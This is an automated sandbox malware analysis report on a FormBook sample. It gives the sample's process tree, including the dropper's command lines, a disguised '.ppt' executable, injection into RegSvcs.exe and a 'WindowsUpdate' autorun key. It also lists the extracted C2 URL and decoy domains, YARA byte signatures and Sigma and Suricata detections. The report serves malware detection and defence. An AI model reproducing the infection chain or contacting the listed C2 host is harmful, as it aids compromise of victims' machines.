Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mJIvCBk5vF.exe

Overview

General Information

Sample name:mJIvCBk5vF.exe
renamed because original name is a hash value
Original sample name:6c13b65c7ffaef21388c60cc2be3370b35a729eb9e8986ce1abd3303e144896f.exe
Analysis ID:1549395
MD5:5097fe796d4bca99a3d79998c27116cd
SHA1:2e78d6968f547a5d70e5795ce89cbd51a06a90fa
SHA256:6c13b65c7ffaef21388c60cc2be3370b35a729eb9e8986ce1abd3303e144896f
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AntiVM autoit script
Yara detected Autoit Injector
Yara detected FormBook
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Double Extension Files
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Tries to resolve many domain names, but no domain seems valid
Uses ipconfig to lookup or modify the Windows network settings
Uses netstat to query active network connections and open ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query the security center for anti-virus and firewall products
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains sections with non-standard names
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Use NTFS Short Name in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mJIvCBk5vF.exe (PID: 6808 cmdline: "C:\Users\user\Desktop\mJIvCBk5vF.exe" MD5: 5097FE796D4BCA99A3D79998C27116CD)
    • wscript.exe (PID: 1540 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" MD5: FF00E0480075B095948000BDC66E81F0)
      • cmd.exe (PID: 6956 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 4372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • ipconfig.exe (PID: 5720 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
      • cmd.exe (PID: 5684 cmdline: "C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.msc MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 3744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • gbkusncub.ppt (PID: 936 cmdline: gbkusncub.ppt hcmdvu.msc MD5: 0ADB9B817F1DF7807576C2D7068DD931)
          • RegSvcs.exe (PID: 2308 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
          • RegSvcs.exe (PID: 1908 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
            • explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
              • raserver.exe (PID: 2036 cmdline: "C:\Windows\SysWOW64\raserver.exe" MD5: D1053D114847677185F248FF98C3F255)
                • cmd.exe (PID: 5068 cmdline: /c del "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                  • conhost.exe (PID: 6216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • gbkusncub.ppt.exe (PID: 4988 cmdline: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc MD5: 0ADB9B817F1DF7807576C2D7068DD931)
                • RegSvcs.exe (PID: 2948 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
                • RegSvcs.exe (PID: 5960 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
              • chkdsk.exe (PID: 2420 cmdline: "C:\Windows\SysWOW64\chkdsk.exe" MD5: B4016BEE9D8F3AD3D02DD21C3CAFB922)
              • NETSTAT.EXE (PID: 6084 cmdline: "C:\Windows\SysWOW64\NETSTAT.EXE" MD5: 9DB170ED520A6DD57B5AC92EC537368A)
              • gbkusncub.ppt.exe (PID: 6904 cmdline: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc MD5: 0ADB9B817F1DF7807576C2D7068DD931)
                • RegSvcs.exe (PID: 3536 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
                • RegSvcs.exe (PID: 4784 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
              • cmmon32.exe (PID: 2244 cmdline: "C:\Windows\SysWOW64\cmmon32.exe" MD5: DEC326E5B4D23503EA5176878DDDB683)
              • gbkusncub.ppt.exe (PID: 7064 cmdline: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc MD5: 0ADB9B817F1DF7807576C2D7068DD931)
                • RegSvcs.exe (PID: 2448 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
                • RegSvcs.exe (PID: 4828 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
              • NETSTAT.EXE (PID: 1524 cmdline: "C:\Windows\SysWOW64\NETSTAT.EXE" MD5: 9DB170ED520A6DD57B5AC92EC537368A)
      • cmd.exe (PID: 6140 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • ipconfig.exe (PID: 6636 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.ybokiesite.online/o52o/"], "decoy": ["ckroom.xyz", "apanstock.online", "6dtd8.vip", "phone-in-installment-kz.today", "ichaellee.info", "mpresamkt38.online", "ivein.today", "78cx465vo.autos", "avannahholcomb.shop", "eochen008.top", "rcraft.net", "eth-saaae.buzz", "ifxz.info", "flegendarycap50.online", "reon-network.xyz", "ee.zone", "ameralife.net", "5en4.shop", "eal-delivery-34026.bond", "anion.app", "avada-ga-17.press", "inlinlong.top", "eal-estate-90767.bond", "opesclosetyork.net", "gormendonca.online", "ackyard-fence-grants.today", "acuum-cleaner-84638.bond", "martdataclient.sbs", "1r1f9bnfo4s4.top", "66hf918cz.autos", "lush-diamond.info", "ome-decor-10002.bond", "onceng77gacor.xyz", "ake-money-online-34699.bond", "wen-paaac.buzz", "mewtcp.xyz", "alyk.cloud", "overedplans.net", "igurisland-cruise-deals.today", "niverse-tech.net", "indseniorjob881.click", "rostitutkivladimiraslap.net", "inecraftpuro.net", "ames666.xyz", "arehouse-inventory-62571.bond", "infeng01.xyz", "jg-bw.app", "y09ypy.pro", "uratool.net", "4hamnghi.online", "j2g.xyz", "ental-health-54823.bond", "teplero.shop", "01595.xyz", "xs5.buzz", "elationship-coach-44953.bond", "heiritforum.buzz", "lladinco.online", "heheartofthehome.net", "uantumcircles.world", "ork-in-usa-60761.bond", "tonic.cafe", "agaglobalcapital.net", "eusvexk.shop"]}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\RarSFX0\hcmdvu.mscJoeSecurity_AutoitInjectorYara detected Autoit InjectorJoe Security
    C:\Users\user\llkd\hcmdvu.mscJoeSecurity_AutoitInjectorYara detected Autoit InjectorJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
        0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x57a9:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1c0e8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x9f27:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x14e0f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x8e60:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x90da:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x14c0d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x146f9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x14d0f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x14e87:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x9af2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x13974:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa7eb:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1ae4f:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1be52:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x17d71:$sqlite3step: 68 34 1C 7B E1
          • 0x17e84:$sqlite3step: 68 34 1C 7B E1
          • 0x17da0:$sqlite3text: 68 38 2A 90 C5
          • 0x17ec5:$sqlite3text: 68 38 2A 90 C5
          • 0x17db3:$sqlite3blob: 68 53 D8 7F 8C
          • 0x17edb:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 280 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          16.2.RegSvcs.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
            16.2.RegSvcs.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              16.2.RegSvcs.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
              • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
              • 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
              • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
              • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
              16.2.RegSvcs.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
              • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
              • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
              • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
              • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
              • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
              • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
              • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
              • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
              • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
              • 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
              • 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
              16.2.RegSvcs.exe.400000.0.raw.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
              • 0x18819:$sqlite3step: 68 34 1C 7B E1
              • 0x1892c:$sqlite3step: 68 34 1C 7B E1
              • 0x18848:$sqlite3text: 68 38 2A 90 C5
              • 0x1896d:$sqlite3text: 68 38 2A 90 C5
              • 0x1885b:$sqlite3blob: 68 53 D8 7F 8C
              • 0x18983:$sqlite3blob: 68 53 D8 7F 8C
              Click to see the 5 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Invoke-Obfuscation CLIP+ Launcher
              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 1540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , ProcessId: 6956, ProcessName: cmd.exe
              Sigma detected: Invoke-Obfuscation VAR+ Launcher
              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 1540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , ProcessId: 6956, ProcessName: cmd.exe
              Sigma detected: Script Interpreter Execution From Suspicious Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\mJIvCBk5vF.exe", ParentImage: C:\Users\user\Desktop\mJIvCBk5vF.exe, ParentProcessId: 6808, ParentProcessName: mJIvCBk5vF.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ProcessId: 1540, ProcessName: wscript.exe
              Sigma detected: Suspicious Double Extension Files
              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems), frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, ProcessId: 936, TargetFilename: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exe
              Sigma detected: Suspicious Script Execution From Temp Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\mJIvCBk5vF.exe", ParentImage: C:\Users\user\Desktop\mJIvCBk5vF.exe, ParentProcessId: 6808, ParentProcessName: mJIvCBk5vF.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ProcessId: 1540, ProcessName: wscript.exe
              Sigma detected: WScript or CScript Dropper
              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\mJIvCBk5vF.exe", ParentImage: C:\Users\user\Desktop\mJIvCBk5vF.exe, ParentProcessId: 6808, ParentProcessName: mJIvCBk5vF.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ProcessId: 1540, ProcessName: wscript.exe
              Sigma detected: CurrentVersion Autorun Keys Modification
              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\llkd\GBKUSN~1.EXE C:\Users\user\llkd\hcmdvu.msc, EventID: 13, EventType: SetValue, Image: C:\Users\user\llkd\gbkusncub.ppt.exe, ProcessId: 4988, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
              Sigma detected: Execution of Suspicious File Type Extension
              Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: gbkusncub.ppt hcmdvu.msc, CommandLine: gbkusncub.ppt hcmdvu.msc, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, NewProcessName: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, OriginalFileName: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.msc, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5684, ParentProcessName: cmd.exe, ProcessCommandLine: gbkusncub.ppt hcmdvu.msc, ProcessId: 936, ProcessName: gbkusncub.ppt
              Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", CommandLine: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, ParentCommandLine: gbkusncub.ppt hcmdvu.msc, ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, ParentProcessId: 936, ParentProcessName: gbkusncub.ppt, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", ProcessId: 2308, ProcessName: RegSvcs.exe
              Sigma detected: Use NTFS Short Name in Command Line
              Source: Process startedAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc, CommandLine: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc, CommandLine|base64offset|contains: , Image: C:\Users\user\llkd\gbkusncub.ppt.exe, NewProcessName: C:\Users\user\llkd\gbkusncub.ppt.exe, OriginalFileName: C:\Users\user\llkd\gbkusncub.ppt.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 4004, ParentProcessName: explorer.exe, ProcessCommandLine: "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc, ProcessId: 4988, ProcessName: gbkusncub.ppt.exe
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\mJIvCBk5vF.exe", ParentImage: C:\Users\user\Desktop\mJIvCBk5vF.exe, ParentProcessId: 6808, ParentProcessName: mJIvCBk5vF.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" , ProcessId: 1540, ProcessName: wscript.exe
              Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\llkd\GBKUSN~1.EXE C:\Users\user\llkd\hcmdvu.msc, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt, ProcessId: 936, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-11-05T15:54:19.195972+010020229301A Network Trojan was detected20.12.23.50443192.168.2.649746TCP
              2024-11-05T15:54:57.332593+010020229301A Network Trojan was detected20.12.23.50443192.168.2.649945TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Found malware configuration
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.ybokiesite.online/o52o/"], "decoy": ["ckroom.xyz", "apanstock.online", "6dtd8.vip", "phone-in-installment-kz.today", "ichaellee.info", "mpresamkt38.online", "ivein.today", "78cx465vo.autos", "avannahholcomb.shop", "eochen008.top", "rcraft.net", "eth-saaae.buzz", "ifxz.info", "flegendarycap50.online", "reon-network.xyz", "ee.zone", "ameralife.net", "5en4.shop", "eal-delivery-34026.bond", "anion.app", "avada-ga-17.press", "inlinlong.top", "eal-estate-90767.bond", "opesclosetyork.net", "gormendonca.online", "ackyard-fence-grants.today", "acuum-cleaner-84638.bond", "martdataclient.sbs", "1r1f9bnfo4s4.top", "66hf918cz.autos", "lush-diamond.info", "ome-decor-10002.bond", "onceng77gacor.xyz", "ake-money-online-34699.bond", "wen-paaac.buzz", "mewtcp.xyz", "alyk.cloud", "overedplans.net", "igurisland-cruise-deals.today", "niverse-tech.net", "indseniorjob881.click", "rostitutkivladimiraslap.net", "inecraftpuro.net", "ames666.xyz", "arehouse-inventory-62571.bond", "infeng01.xyz", "jg-bw.app", "y09ypy.pro", "uratool.net", "4hamnghi.online", "j2g.xyz", "ental-health-54823.bond", "teplero.shop", "01595.xyz", "xs5.buzz", "elationship-coach-44953.bond", "heiritforum.buzz", "lladinco.online", "heheartofthehome.net", "uantumcircles.world", "ork-in-usa-60761.bond", "tonic.cafe", "agaglobalcapital.net", "eusvexk.shop"]}
              Multi AV Scanner detection for submitted file
              Source: mJIvCBk5vF.exeReversingLabs: Detection: 47%
              Yara detected FormBook
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
